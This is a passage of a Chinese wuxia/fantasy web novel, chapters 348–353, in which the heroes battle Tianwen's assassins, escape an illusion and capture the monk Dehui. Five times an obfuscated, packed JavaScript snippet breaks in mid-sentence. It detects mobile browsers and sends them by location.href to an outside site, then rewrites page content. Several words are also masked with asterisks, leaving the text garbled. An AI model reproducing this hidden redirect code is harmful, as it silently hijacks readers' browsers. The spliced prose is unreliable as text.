谢无咎的声音突然变得极其平静。 “血蛊王认主,靠的不是禁制,而是血脉。” “它选择了我,抛弃了你。” 地牢突然剧烈震动,碎石从顶部簌簌落下,整个空间都危险地晃动起来。 天问大师的面容在火光中扭曲着。 这怎么可能? 谢无咎挣断最后一根铁链,染血的手掌掐住天问大师的喉咙。 “老秃驴,你确实机关算尽。” 他的指甲深深陷入对方的皮肉,笑得危险而恣意。 “但你怎么知道,这一切不是在我的计划之中呢?” 天问大师的瞳孔开始扩散,他努力凝起心神,拼命地伸长了手臂,朝着暗牢墙角的一块隐蔽之处,猛地按了下去—— 第三百四十八章 声东击西 早些时候。 万源城的夜,寂静得让人有些害怕,只能听见更夫敲梆子的回声在青石板路上回荡。 毕竟是经历过一场浩劫,白日还好,到了晚上,这座崭新的城镇,怎么看都有些阴森森的。 林婉君坐在醉仙楼二楼临窗的雅间里,指尖无意识地摩挲着茶盏边缘,光滑的瓷杯映出她微微蹙起的眉头。 “三更了。” 谢三突然开口,右手始终按在腰间那柄短刀上,屋檐下的灯笼被夜风吹得摇晃,在他棱角分明的脸上投下忽明忽暗的光影。 林婉君正要答话,窗外突然传来“咔”的一声轻响。 那是瓦片被踩动的声响! 她瞳孔紧锁,几乎同时,吴泽拍案而起,刀身横排,猛地斩向窗棂! “叮”地一声响,一支淬着幽蓝微光的暗器被劈成两段,箭簇深深钉入地板,瞬间腐蚀出碗口大的焦痕。 林婉君袖中滑出两把薄如蝉翼的柳叶刀,刀身映出她骤然冷厉的眉眼。 “果然来了!那老秃驴还真是贼心不死。” 叶晚竹和岑灵川离开之前,便特意叮嘱了他们,没想到,天问大师的人这么快就来了。 客栈四周的黑暗中,这时候有数十道身影如鬼魅般浮现。 为首者戴着半张青铜面具,露出的半张脸上爬满刺青,显得阴森可怖。 “叶晚竹的狗,”他的声音像是沙砾在互相摩擦,“该清算了!” 话音未落,几道黑影也破窗而入! 林婉君身形一闪,两把柳叶刀脱手而出,朝着最先扑来的**喉间而去! 那人却不退反进,一脸诡异微笑,任由刀刃割开气管,双手却成爪直取她心口! “小心有毒!” 谢三一脚踹开厢房屏风,漫天木屑中刀光连闪,将另外两名**逼退。 他背上突然传来刺痛,回头看向窗外,**飞羽一般破空而来! “狗东西!” 啐了一声,谢三回身一脚将桌子踹翻,拉着林婉君躲在后面。 整座醉仙楼突然剧烈震动,一楼大堂传来桌椅爆裂的巨响,紧接着是此起彼伏的惨叫。 箭雨还在持续不断地袭来,饶是木桌厚重,这会儿也已经不堪重负,发出一阵危险的吱嘎声。 深吸一口气,谢三正要说话,忽然听见楼梯间传来一阵怒吼声! “孙子!好大的胆!” “邵威来了!” 林婉君眼中忽然精光暴涨! 她话音未落,整面墙壁轰然倒塌,烟尘中一个铁塔般的身影抡着两把流星锤冲了进来,两名**猝不及防,被抡了个正着,顿时口吐鲜血倒了下去! 此人名叫大山,人如其名,有一身蛮力,是邵威无意中发现的,一直带在身边。 “怎么样?没事吧?” 邵威满脸血污地冲上来,气喘吁吁,眼神里带着火花。 “天问老狗派了三十七个手下!我带来的人少说也**一半!” 这都是他费尽心思才搜罗到的手下啊! 说着话,大山忽然又举起了锤子! 青铜面具的**首领不知何时已突入房中,刀上的毒液滴落在地板上滋滋作响。 “邵老板,”他声音嘶哑,“久仰。” “仰个屁!你认识我是谁?” 邵威怒极反笑,突然从腰间扯下个牛皮口袋猛地砸在地上! 只听一声闷响,整个房间顿时被刺鼻的红色烟雾充满了。 “腐骨烟……!” **统领连忙后退,“你们竟敢用禁药!” 邵威狞笑着藏在红雾之中 “你们 动手的时候,也没管过**是件罪大恶极的事情啊。” 大山这时候突然暴起,锤头带着千钧之力砸下! **首领举刀格挡,手里的长刀竟被生生砸成两半。 就在此时,客栈外突然传来整齐划一的踏步声。 怎么回事? 是敌是友? 林婉君透过破碎的窗户望去,只见长街上不知何时已列满玄甲军士。 为首的将领金甲红缨,威风凛凛地坐在马上,正朝着身后的兵士挥手。 “放箭!” 随着金甲将领一声令下,数百支特制的破甲箭如暴雨般朝着客栈周围席卷而来! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112975|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仍在缠斗的**们顿时成了刺猬,中箭处却不见鲜血,不过片刻就脸色惊惶地倒了下去。 **首领见状猛地捏碎腰间玉佩,一团白雾瞬间笼罩全身。 大山的铁锤砸在白雾上,竟然好似砸中了一团棉花! 待雾气散尽,原地只余一摊血水,那**统领的身影,已经消失得无影无踪。 “又是这招!”谢三收了剑,脸色不虞。 脚步声这时候从外面传来,屋中几人同时警惕地转过头,看向正踏入客栈的金甲将领。 “南疆玄甲军大统领亲自出马,真是好大的阵仗啊。” 认出眼前人的身份,邵威的语气有些飘忽。 将领摘下头盔,露出一张十分有南疆风情的面孔。 “本将拓跋弘,奉王命清剿天问逆党。” 他的目光在三人身上扫过,最后停在林婉君染血的衣襟上。 “大梁威远王的部下,果然名不虚传。” 谢三突然冷笑一声,“清剿?方才我们苦战时,将军的人怕是就在三条街外看戏吧?” 拓跋弘面不改色。 “王上想看看,值得合作的盟友究竟有多少斤两。” 他突然抬手,玄甲军瞬间将客栈围得水泄不通。 “现在,请三位移步王宫一叙。” 邵威眼中凶光闪烁,“要是我们不去呢?” “这位兄弟,”拓跋弘抚摸着刀上镶嵌的蓝宝石,“你不会想知道这个结果的。” “要不试试?” 谢三这时候忽然按住邵威的手腕,有朝他摇了摇头。 “好啊,南疆王盛情邀请,我等,怎敢不从?” 轻笑一声,谢三不着痕迹地递出了几个眼神。 当玄甲军“护送”三人走上马车时,谁也没注意到醉仙楼残破的屋檐上,一只信鸽正扑棱棱飞向远方。 它腿上绑着一张纸条,即将送到该去的地方。 拓跋弘突然回头望向夜空,眉头微皱,林婉君顺着他的视线看去,只见一弯血月正缓缓爬上天际,月光将众人的影子拉得老长。 “今夜……怎么会又有血月?” 第三百四十九章 血月夜 血月当空,万源城的街道上弥漫着诡异的红光。 三人坐在马车里,谢三指尖轻轻敲击着窗框,目光却始终盯着拓跋弘的背影。 “这血月来得蹊跷。” 他压低声音,“主子说,血月难得,怎么会这么快又出现一次?” 邵威捂着受伤的左臂,眼中闪过一丝不安。 “按照南疆古籍记载,血月现,大凶之兆。天问老狗怕是又在搞什么邪术。” 马车突然急停,外面传来玄甲军士的惊呼,“退后!” 林婉君掀开车帘,只见前方道路中央跪着个衣衫褴褛的老者,正仰头对着血月发出凄厉的嚎叫! 更诡异的是,他的皮肤正以肉眼可见的速度变得皱巴巴的,无数肿块从皮肤下面不停涌动。 “退后!”拓跋弘厉喝一声,弯刀已然出鞘。 老者突然转头,双眼竟是一片血红! 他猛地扑了上去,以和自己的模样完全不符的敏捷一口咬住了拓跋宏的喉咙! 拓跋宏猛地抽搐几下,捂着脖颈倒在血泊之中,很快却重新站起身来,变成了同样的怪物! “将,将军——啊!” 拓跋宏身旁的兵士想上前说话,却被他一把按住,同样一口咬了上去! 场面很快就变得混乱起来 。 “坏了!”谢三一把拉下车帘,“又是血蛊!” 这回又是谁在作乱? 马车外惨叫声此起彼伏,他纵身一跃来到车头,一把抓住有些不安的士兵,猛地将他甩向后方! “不想死就别愣着!”他语气很重,“上马!甩脱他们!” 拓跋宏手下的兵士本是惴惴不安,闻言,又看着谢三动作狠戾地用马鞭抽开几个靠近的血蛊宿主,顿时也只能咬紧牙关,学着他的模样上马劈杀,又紧紧跟在谢三的马车之后,朝城外而去。 当三人杀出重围,来到安静的城外之时,已经是五更天了。 拓跋弘带来的五十名精锐只剩七人,围在马车边,浑身是血,好不狼狈。 谢三勒住缰绳,却不是因为战局暂时告一段落。 一个衣着华贵的中年男子正站在官道中央,**袍上的金线在血月下泛着诡异的光泽。 “王,王上?” 幸存的精锐们看过去,立刻齐齐下马行礼,“参见王上!” 这就是南疆王? 谢三和马车中的几人对了对眼神,默契地坐着没动。 南疆王这时候上前两步,似乎对他们的不敬并不以为意。 “本王就知道,你们一定能活着过来。” 他的声音带着奇异的回响,仿佛有无数个声音在同时说话。 林婉君注意到,王宫四周的侍卫眼中都泛着淡淡的红光。 她不动声色地靠近谢三,还没动作,谢三便背过手,用指尖在她掌心写下“傀儡”二字。 “就在今晚,天问大师已经发动了血月大阵。” 南疆王抬头看向天空,“整个南疆,很快都会成为他的养蛊场。” 侍卫手中都举着火把,烛火通明,却照不散那股阴冷。 林婉君突然发现,南疆王的影子比常人要淡得多,而且正在缓慢地蠕动。 “王上想要我们做什么?” 邵威单刀直入。 南疆王突然转身,脸上的皮肤竟像蜡一样融化脱落,露出下面青灰色的真容。 “我要你们帮我杀了那个鸠占鹊巢的妖僧!” “血月当空时,天问会在王陵举行仪式。” 南疆王的声音越发阴沉难听,“若让他成功,整个南疆都会变成行尸走肉的地狱!” 林婉君看向窗外,血月已经升至中天。 她突然想起叶晚竹临行前的叮嘱,“若见血月,速取龙鳞。” “我们答应合作。” 她上前一步,“但需要王上打开地下宝库,取一样东西。” 南疆王眼中红光闪烁。“你要什么?” “我们要南疆的镇国之宝,”林婉君一字一顿,“斩、龙、剑。” 南疆王枯瘦的手指一顿。 “你们怎么——” 一句话还没说完,他便被林婉君打断了。 “王上,现在不是说这些的时候吧?” 林婉君挑了挑眉,“如果不是时间紧急,您怎么会亲自出现在这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16112976|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里?” 南疆王不情不愿地抿了抿嘴,示意几人跟他前去。 一行人走入密林,不知道他做了什么,空地之上,一条幽深的阶梯凭空出现在众人眼前。 “跟紧我的脚步。” 南疆王取下墙上火把,“错一步,地宫里的千机**就会把你们射成筛子。” 林婉君注意到他走路时左脚总是先踏出半步,像是拖着什么无形重物。 谢三暗中数着步伐:左三右七,左五右二 地宫深处,一柄通体漆黑的长剑悬浮在石台之上,剑身缠绕着九条青铜锁链,锁链上刻满符文,随着众人靠近发出嗡鸣。 “此剑饮过七代南疆王的血。” 他的声音突然变得沙哑,“上次出鞘时,斩了一条化蛟的巴蛇。” 邵威刚要上前,锁链突然剧烈震动起来! 斩龙剑自行出鞘三寸,寒光映得众人眯起双眼,林婉君耳中响起万千冤魂的哭嚎,忍不住捂住了胸口。 “它认得你?” 南疆王猛地抓住林婉君的手腕,“你是……你是什么人?” “问得好。” 王陵祭坛上,天问大师的袈裟在血月中猎猎作响。 九十九具棺椁呈环形排列,每具棺中都躺着个眉心点血的孩童。 “来得正好。” 天问大师转身时,脸上的皮肉正一块块脱落,“用叶家血脉祭剑,斩龙剑才能发挥十成威力。” 斩龙剑在林婉君手中剧烈震颤,剑柄生出倒刺扎入她掌心。 鲜血顺着剑身上的龙纹流淌,那些纹路竟开始游动。 谢三的刀、邵威的剑同时攻向天问大师,却在三丈外被无形屏障弹开! 南疆王突然撕开衣袍,露出由无数傀儡线组成的躯体。 “我拖住他!斩龙!” 林婉君举剑的瞬间,血月突然迸发刺目红光。 斩龙剑发出龙吟般的剑鸣,剑光过处,九十九具棺椁同时炸裂! 天问大师狂笑着化作血雾,又在三丈外重组身形。 “没用的。” 他的声音变成男女老幼的合音,“血月不落,我即不死……” 第三百五十章 这不对劲 血月不灭? 林婉君几人面面相觑着,又同时抬起头来。 “照这话说,我们得熬到天亮?”邵威嘬着牙花子,“这得等到什么时候!” 眼下,天边那一轮血月高高悬挂在天空,散发着幽幽的红光,这光线仿佛能和天问大师交相呼应,又让气氛显得越发不祥。 “等不得的!” 南疆王大喝一声,身型一晃,已经又飞速朝着天问大师远离的身影追了过去! 天问大师长袖一甩,瞬间射出一道气劲,南疆王侧身闪过,张开手指,指缝间道道丝线朝着天问大师缠绕而去! 两招在空中相接,发出噼里啪啦的动静,火花四射,碰撞的力度之下,两人同时后退一步。 “你找死!” 南疆王双手张合,被天问大师激起的气劲打得整条胳膊都快要失去了知觉。 他眼神阴冷,眉眼间止不住地泛起厉色。 天问大师的表情却十分云淡风轻,袖袍一甩将双手背在身后,脚下轻点,瞬间又跃到了几步开外的地方。 “我说了,没用的。” 含笑开口,他的声音仍是那般诡异。 “落入我的手中,要你们所有人求生不得,求死不能!” “去——” 哈哈大笑着,天问大师抬手一挥,顷刻间,窸窸窣窣的声音便从身四面八方不断地响了起来! “这,这是什么东西!” 吴泽低头一看,忍不住惊叫一声,感觉自己全身上下的鸡皮疙瘩都冒起来了。 地宫下涌出了数不清的黑色虫子,背上的硬壳油光水滑,看上去便令人不寒而栗! 这些黑色虫子如水一般朝几人涌来,一浪接着一浪,咔吱咔吱的响动此起彼伏! 林婉君感觉整个脑袋都麻了,下意识地举起**,狠狠朝着这些虫子挥砍而去。 “咝——” 与此同时,谢三的低咒声也响了起来! “这些虫子咬人!” 他话音未落,手中长刀也旋了出去! 林婉君收回**,这个时候也感到腿上传来了丝丝缕缕的疼痛,她低下头,发现那些黑色虫子正沿着她的衣摆,不断往上攀爬。 这就没有什么可说的了,几人挥起武器,不断地驱赶着源源不断出现在身边的黑色虫子。 这些虫子也不知道是什么妖物,仿佛取之不尽,用之不竭一般,没完没了地从地宫的缝隙里钻出,再执着地往他们身上涌。 “得想个办法!” 第一个崩溃的人是邵威,他浑身上下都已经被黑色的虫子占领,细微的疼痛让他不住地倒吸着冷气。 “这样不行,”他又伸手从头发上扯下一只虫子捏死,“得先断了它们的来路!” “我去!” 谢三摸出火折子往虫群之中丢去,鲜艳的火焰炸开,虫子们受惊,纷纷四散躲避。 抓住机会,谢三三步并作两步冲到那地宫的缝隙前,咬了咬牙,从怀中摸出了一个小巧的**! 这些虫子的数量如此之多,要想一次杜绝,只能用上这没办法的办法了! “往出口走!”他厉声大喝,“我数到三!就点火!” “不行!” 南疆王的声音在石壁中激起阵阵回声! “血月还没结束,不能放他走!”他依旧在朝着天问大师那边努力地靠近。 这些黑色的虫子显然对天问大师这个主子拥护得要命,察觉了南疆王的动向之后,一多半的黑虫都开始朝着他而来,拼命地撕扯着南疆王的衣裳,又钻进他皮肉里狠狠啮咬,要阻止他的动作。 饶是全身上下已经被黑虫覆满,就连眼睛也有些看不见了,南疆王向前的动作却并没有半分迟疑。 “我,我要你死……!” “那你俩一起死吧!” 谢三身边围拢着的黑虫这个时候也变得更多了起来,大概是发现了他的意图,黑虫们对谢三的时攻击性也开始变强。 不断抬手驱离这些烦人的虫子,谢三的耐心也在这反复不停的动作中告罄。 他冷声喝着,“不想死就往入口退!现在——” “等一下!” 又听见有人打断自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118952|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的计划,谢三额头上的汗都滴下来了,他猛地擦了一把,头也不回地质问,“怎么了,你也要亲手报仇?” 林婉君这会儿脸色惨白,身子摇摇欲坠,站在成群结队的黑虫之中,却好像完全感觉不到这恶心诡异的场景一般。 她抬起头,哆哆嗦嗦地用手指指了一下上方。 “我们不是在地宫之中吗?怎么,怎么会看到外面的月亮?” 谢三正准备点火的手猛地一顿,人也哆嗦了一下,仿佛被当头一棒砸下! 是啊! 他们不是跟着南疆王来到地宫中,要拿什么宝物吗? 怎么能看到血月呢? 谢三忍不住也抬起头来,一片黑暗之中,唯有血月是唯一的光线来源。 这血月看去,并不是坐井观天般只能看到一隅,谢三放眼四望,山河辽阔,一切都像是置身山野之间,亲眼得见的正常景象。 ……可这才不正常! 谢三又低下头去,黑色的虫子依旧窸窸窣窣地围在脚边,四周也还是石砖壁画,一副再明显不过的地宫模样。 这是,这是见鬼了? 难以置信地抬头再低头,谢三的表情越发惊悚。 他们这是到了个什么样的地方? “虫子不咬人了,你们感觉到了吗?” 吴泽这时候也低声开了口,几人又是一愣,这才后知后觉地发现身上的麻痒不知道什么时候消失不见了。 林婉君忍住恶心,低头仔细看着从自己皮肤上来回爬过的黑色虫子们,又忽然发现自己没了感觉! “这,这到底是怎么回事?”她的声音哆嗦着,“我现在连有虫子在身上爬这件事都感觉不到了。” 难道是这虫子有毒,而他们**已深? 几人你看看我,我看看你,在血月的光线照射之下,表情又变得更加诡异。 怎么会出现这样的情况? “你们看南疆王。” 邵威最后一个开口,声音压得很低,透着满满的谨慎。 众人同时将目光投了过去,又默默地倒吸一口冷气—— 第三百五十一章 幻境? 方才这里已经闹得不像话,人人鸡飞狗跳,可这会儿,天问大师和南疆王那边的气氛,却完全没有受到一丁点儿的影响! 天问大师依旧维持着一副得道高僧的模样,南疆王也依旧在嘶吼挣扎着要上前报仇。 甚至就连那些黑色的虫子们,都依旧在嘶前赴后继地往南疆王的身上爬。 这幅画面实在是太正常,又实在是太不正常了! 谢三扪心自问,如果他站在南疆王的那个位置上,多大的仇恨,能让自己对地下暗室能看到天空,还有虫子忽然之间就不咬人了这两件事都无动于衷? 别说是仇恨了,那么多虫子,咬人的时候又疼又麻,忽然一下不咬了,这位也一点儿都不关心吗? 当南疆的时一国之君,难道需要如此过人的毅力? “不对劲,”林婉君眯着眼,“肯定不对劲,他们两个现在好像和我们活在不一样的世界里——” 她刚说到这儿,邵威忽然猛地一拍大腿,“我知道了!” “嘘——!” 生怕惊扰了地宫里的其他东西,让眼下的情形又出现什么变故,吴泽下意识地抬手捂住邵威的嘴,又朝着四下看了过去。 无事发生。 邵威那一下拍得响亮,他又身材圆润,少说也在地宫里震出了几道回音。 可却没有换来那边的半点动静。 吴泽不由得又想到了林婉君刚才的话。 不一样的世界里? 邵威这时候把吴泽的手扒拉下去,喘了口气,这才打了几个手势,让大伙儿都围到他身边去。 “我还真的想起来一件事,说不定和咱们眼下的情形有关^……”他娓娓道来。 叶晚竹当初离开南疆之后,便给邵威下了一个命令,要他在南疆建立起自己的消息网,以备不时之需,也是给邵威一个将功赎罪的机会。 邵威不敢不从,在南疆大肆搜刮各种消息,其中便有一条提到了幻术。 “南疆最为人熟知的是巫蛊之术,可还有一门幻术的威力也同样不小。” 邵威抬手搓了一把脸,环顾四周,回忆着他当初看到的内容。 “据说幻术师可以制造幻境,在不知不觉间将人的意识吸入其中,而在幻境里体验到的全部内容,在现实里都不会发生——” 顿了顿,他的脸色又沉了下去。 “除了死亡。” 那本书上记载着,幻境能根据不同人的经历,变幻出不同的内容,或许会很危险,还变得杀机四伏。 如果在幻境之中死亡,那就是真的**。 和蛊术一样,幻术也是一门十分危险的技艺,南疆的幻术师虽然不多,但也可以制造幻境,将人引入其中,等待对方在幻境里死去,那便是一出完美的**。 “你们不觉得,眼下的情形和幻境十分相像吗?”邵威最后抛出一个问题,又朝着几人挑了挑眉。 谢三再度抬起头来,环顾四周,不得不承认邵威的话很有道理。 如此诡异的情形,怎么想,都不应该出现在现实之中才对。 “你既然对幻术有所了解,那你知不知道破局的办法?”林婉君的眼神也朝着四周看了过去。 如果他们方才经历的一切真的都是在幻境中发生的,那他们现在会在什么地方,又是从哪一刻开始进入这个劳什子3的幻境之中的呢? 这些事情不能深究,想得多了,几人又越发毛骨悚然起来。 “你快说!”谢三忍不住催促起邵威来。 邵威叹了口气。 “那书上说,要破幻境,就得反其道而行之,让幻境中的一切不攻自破,它才会维持不下去。” 这话说得云里雾里,邵威当时也不曾细看,这会儿想起来,那书中具体的字句都已经模糊了。 恼怒地又拍了一把大腿,他疼得龇牙咧嘴,又垂头丧气,“都怪我!” 那书中写着幻术并不常见,邵威看过之后便也没有多加重视。 如果他早知道有这么一天,肯定把那本书背得滚瓜烂熟! “无妨。” 谢三按住邵威的肩头,语气倒是变得正经起来。 “反正已经有了个方向,咱们照着试试,总不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118953|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会比刚才更糟。” 说着话,他看向周围,黑色的虫子还在继续爬动,却没了那股威胁感。 邵威介绍幻术,少说也用了大半柱香的功夫,这些虫子们却没有半点要抓住机会攻击的意思。 “我看这些虫子和咱们的情绪有关,只要咱们不害怕,它们就奈何不了我们。” 林婉君和吴泽对视一眼,都点了点头,后者的表情却又变得有些忧愁。 “那咱们也不能就这么跟它们大眼瞪小眼啊!” 况且,那边还有两位呢! 顺着吴泽的目光,几人又看向天问大师和南疆王,这两位的模样,和方才依旧是一模一样。 显然,他们应该也是幻境中的一部分。 “你刚才说,反其道而行之……” 看着天问大师, 林婉君的眉心忽然跳了跳。 “这个幻境里,天问大师是我们共同的敌人,也是因为和他抗衡,所以这些黑色的虫子才出现的。” 谢三第一个明白过来,“你要从天问大师入手?” 林婉君点了点头。 既然要反着来,那他们岂不是……要反叛到天问大师的那边阵营当中去? “……真恶心!” 默默地低语一声,又搓了搓胳膊上的鸡皮疙瘩,谢三深吸一口气,再重重地吐出去,挤出一个幡然悔悟的表情,上前去打头阵。 “大师好威风!我等断断不是您老人家的对手,甘拜下风,情愿日后唯大师命令是从,为大师鞍前马后,分忧解难!” 看着他卑躬屈膝的模样,林婉君等几人同时默了默。 这反差,未免也有点太大了吧! 可谢三的话效果却很好,一直道骨仙风着的天问大师闻言狠狠愣住,转过头,眼中露出了无比错愕的表情! “看地上!” 吴泽低呼一声,伸手一指,只见那些方才还源源不断的黑色虫子们,忽然就变得晕头转向,四下乱爬,无头苍蝇一般转个不停。 有门! 对视一眼,三人也争先恐后地冲了上去! 第三百五十二章 是你? “大师您真是传世的高人,下凡的神仙!” “您就是泽被万物的神灵,我等万万生不出半分与您争辉的念头了!” “大师威武!大师勇猛!大师无所不能!” 几个人围在天问大师身边,夸赞的话如同狂风骤雨一般砸下! 天问大师就算是能掐会算,恐怕也想不到这帮人竟然会有如此恭维他的一天,更别说只是幻境中的一个影子了。 被几人这么捧着,天问大师的表情却越发错愕,一些东西仿佛要从脸上碎裂开来。 “你们,你们这是什么意思?” 率先出声的人却不是天问大师,而是依然在打算和天问大师决一死战的南疆王。 南疆王要找天问大师的麻烦,所以他走向天问大师的每一步都异常艰辛。 可从谢三说出第一句恭维的话开始,他和林婉君等人便能畅通无阻地走到天问大师身边去。 将这个幻境的又一证据看在眼中,谢三冷笑一声,不仅不退,反而还上前两步,用自己的身子牢牢地护在天问大师面前! “我们想了想,你本事不行,我们几个要反水了,你自己玩去吧!”他颇为不耐烦地挥了挥手。 南疆王愤怒至极,一把将还挂在脸上的黑色虫子们挥开,露出了一张无比狰狞的脸! “你们怎么能这样?”他愤怒的眼神狂乱地在每个人脸上旋转,“你们,你们难道不管你们主子的死活了吗?叶晚竹和谢无咎,他们可是天问大师的头号死敌!你们这是叛主!” 谢三张了张口,一时间忽然有些不知道说什么才好。 这幻境里的人,怎么口才还这么好? 邵威这时候高高地挺起胸膛,一脸的理直气壮。 “那又怎么样?人不为己天诛地灭!跟着天问秃——啊不是,跟着大师有前途,那我们就认大师当主子!” 毕竟曾经是孟希越的手下,邵威对见人说人话,见鬼说鬼话这一项本事显然是掌握得炉火纯青。 他眼珠子一转,又嘿嘿地笑了起来。 “再说,反正我们那两个主子也不敌天问大师,这会儿肯定已经被抓住了,不如我们先投诚,等那两位被送到大师面前,看在过去的情分上,我们劝劝他们,跟着一块儿和大师干就算了——” “胡说八道!放屁!你这个死胖子,我要撕烂你的臭嘴!” 邵威的话还没说完,一阵尖叫声忽然响起,透着满满的气急败坏。 这是谁在说话? 这道声音明显不属于幻境中的任何一个人,又好似是从非常遥远的地方传来,听上去模模糊糊的。 谢三不由得蹙起眉头,感觉这声音,似乎十分熟悉…… “是不是要破阵了?” 林婉君这时候朝着天空指了一下,一直悬在几人头顶,没有半分变化的血月,这时候忽然晃了两下! 淡红的血色似乎也跟着变了变,邵威用余光一扫,顿时更是精神大振! “我告诉你,”他来劲地伸出手指,对着南疆王的鼻子猛点,“我看你这个王当的也不怎么样,不如你也跟我们一样,早点归顺大师,到时候,看在咱们雪中送炭的面子上,大师还能给咱们几个主持的名分,那多——” 多什么,邵威一时间是说不出来了,头顶脚下同时剧烈地摇晃起来,眼前的一切似乎都在破碎。 天问大师和南疆王的神情陡然停滞,眼中光彩在瞬间熄灭,又跟着乱流一起变得扭曲。 “肯定是幻境破了!” 大吼一声,邵威循着记忆去摸身边人的手,“小心!” 制造幻境的人不能离开太远,等这边一结束,他们可能就要和对方正面撞上! 几人都动了起来,摸索着抱成一团,只听耳边狂风大作,混乱炸至最高点,又忽然变得一点儿声音都没有了。 短暂的失神过后,几人跌坐在地,又下意识地跳了起来!@ 他们这是在什么地方? “这是……客栈?” 眯着眼睛四下打量,谢三第一个适应了眼前的黑暗,他难以置信地又揉了揉眼睛。 眼下他们所在的地方,正是所有人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16118954|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下榻的那个客栈! 天还黑着,不知道几更的梆子在远处不断敲响,和谢三印象中他们遇袭的时间相差无几。 也就是说,方才发生了那么多事,真的全都是假的? 疼痛袭上,谢三眨了眨眼,低头看到自己胳膊上一道又一道的细小伤口。 这刀痕他认识,是林婉君的**所致。 再看林婉君也是一身的伤,明显是邵威干的。 他们被困在幻境里的时候,以为是被虫子咬了,却原来,是自相残杀! 林婉君等人这会儿也接二连三地醒过神来,又纷纷震惊地放眼四望。 与此同时,谢三忽然面色一变,一脚踹开房门就冲了出去! “放开我!放开我!” 没费多少功夫,他便从外面的走廊里拎回了一个小小的人影,再重重地将他掼倒在地! “小秃驴!好久不见啊!” 谢三语气狰狞,表情更是不遑多让,林婉君挣扎着去点了油灯,屋中光线一闪,那小小的人影便无处遁形了。 林婉君几人对视一眼,看着这张陌生的脸,都忍不住摇了摇头。 虽然他们不认识这孩子,可他空空如也的头顶,却已经能证明一切! “德慧,是吧?” 谢三咬牙切齿地吐出了这个久违了的名字。 德慧小和尚,当初在禹山之中,叶晚竹和谢无咎,还有天问大师都掉进了那个暗道,他们剩下的这些人唯一抓到的,就只剩这小和尚。 为了撬开他的嘴,谢三等人的手段少说也用了一箩筐,德慧小和尚再心思不纯,身体毕竟也只是个小孩,等到最后已经奄奄一息,瞧着随时有可能一命呜呼。 谢三等人忙着和主子们汇合,便将他找了个地方丢下,本以为这小和尚早就去投胎了。 没想到……他竟然还活着。 而且还在给天问那秃驴办事。 谢三的手缓缓掐紧了德慧小和尚的脖子。 “那秃驴让你干什么?” “怎么又秃——你诈我!” 第三百五十三章 要问就问他! 质问的话刚出口,德慧小和尚这才明白过来,瞪着谢三的眼中顿时浮现出无比震惊的情绪,瞧着还有些伤心。 谢三不为所动地冷笑着,“怎么,就骗你了,你能怎么样?” 明明是你死我活的关系,只是被骗一下而已,做出这么伤心的模样干什么? 被噎了一下,德慧的脸色涨得通红,下意识地张嘴想大喊出声。 他的动作还没做完,林婉君默不作声地从后面上来,抬手砍在德慧小和尚颈侧! 双眼一翻,身子一软,小和尚瞬间就晕了过去。 同样打算出手,但却慢了一步的谢三:…… 威远王殿下的手下,也都是这么威风! “他就是制造幻境的人?” 林婉君拍了拍巴掌,把德慧放到一边,又抬起头来看谢三。 谢三点点头,将前一阵子发生在禹山上的事情简略地说了一遍。 “没想到这小子的命这么大。” 末了,谢三又盯着德慧小和尚紧闭的双眼,一边喃喃自语,一边却又皱起了眉头。 “好像不对……” 